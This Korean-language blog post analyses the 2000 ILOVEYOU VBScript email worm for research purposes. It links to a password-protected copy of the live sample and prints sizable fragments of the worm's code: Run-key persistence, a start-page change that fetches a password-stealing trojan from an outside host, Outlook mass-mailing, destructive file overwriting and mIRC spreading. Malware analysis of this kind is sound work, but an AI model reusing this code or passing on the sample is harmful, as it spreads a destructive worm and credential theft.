※ 주의사항 :
악용하지 마세요!!!
해당 글은 연구 목적으로 기재하였습니다.
악의적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신에게 있습니다.
( 1 ) ILOVEYOU Worm
2000 년 5월 4일에 발생된 VBScript 로 작성된 Email Worm 임.
5 천만 건 이상 컴퓨터가 감염되었으며 악명높은 악성코드 10 위 안에 포함될 정도로 파괴력이 컸음.
그 후에도 해당 코드를 가지고 변종 악성코드가 생겨남.
I Love You 메일에 LOVE-LETTER-FOR-YOU.TXT.vbs 라는 파일이 첨부되어서 보냄.
LOVE-LETTER-FOR-YOU.TXT.vbs 실행되는 순간 간염됨.
가장 먼저 Outlook에 등록되어 있는 모든 메일주소로 위의 내용을 그대로 복제해서 보냄.
확장자가 vbs, vbe, js, css, wsh, sct, hta, jpg, jpeg, mp2, mp3 인 모든 파일에 자신을 그대로 덮어씌워서 "I Love You" 란 내용만이 적힌 스크립트 파일로 변해버리면서 원래있던 데이터는 모두 삭제됨. (참고로 mp2, mp3 파일은 원본을 숨김)
그 밖에 레지스트리 등록, IRC 전파 등 악의적인 행위를 많이 함.
샘플 다운로드 링크(암호 : koromoon1004) :
https://drive.google.com/file/d/16SkW8YUnZLAHdCE-M37KPjEva8_-kXdK/view?usp=sharing
( 2 ) 코드 분석
1. MSKernel32.vbs, Win32Dll.vbs 생성하고 시작시 자동으로 실행되도록 설정함
Set fso
=CreateObject("Scripting.FileSystemObject")
Set dirwin =fso.GetSpecialFolder(0) Set dirsystem =fso.GetSpecialFolder(1) Set c =fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") ... regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem&"\MSKernel32.vbs" regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin&"\Win32DLL.vbs" |
2. 트로이목마를 이용하여 패스워드 훔치기
Randomize num
=Int((4 * Rnd) + 1)
if num =1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "hxxp://xxx.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num =2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "hxxp://xxx.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num =3 then ... end if ... regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" |
3. Outlook 주소록에 있는 모든 사람에게 메일 발송
set
regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 ... Set male = out.CreateItem(0) male.Recipients.Add(malead) male.Subject ="ILOVEYOU" male.Body =vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send ... x=x+1 next |
4. js, jse, css, wsh, sct, hta 확장자를 vbs 로 바꾸어 덮어쓰기
set f
=fso.GetFolder(folderspec)
set fc =f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) |
5. jpeg, jpg, mp2, mp3 파일에도 vbs 확장자로 바꾸어 덮어쓰기
(참고로 mp2, mp3 파일은 원본을 숨김)
elseif(ext="jpg")
or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if |
6. htm 파일을 전송하는 IRC 스크립트 만들기
if
(s="mirc32.exe") or (s="mlink32.exe") or
(s="mirc.ini") or
(s="script.ini") or (s=3D"mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. Thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";hxxp://xxx.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= / if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick = "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close |
참고 사이트 :
https://en.wikipedia.org/wiki/ILOVEYOU
============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.
댓글 없음:
댓글 쓰기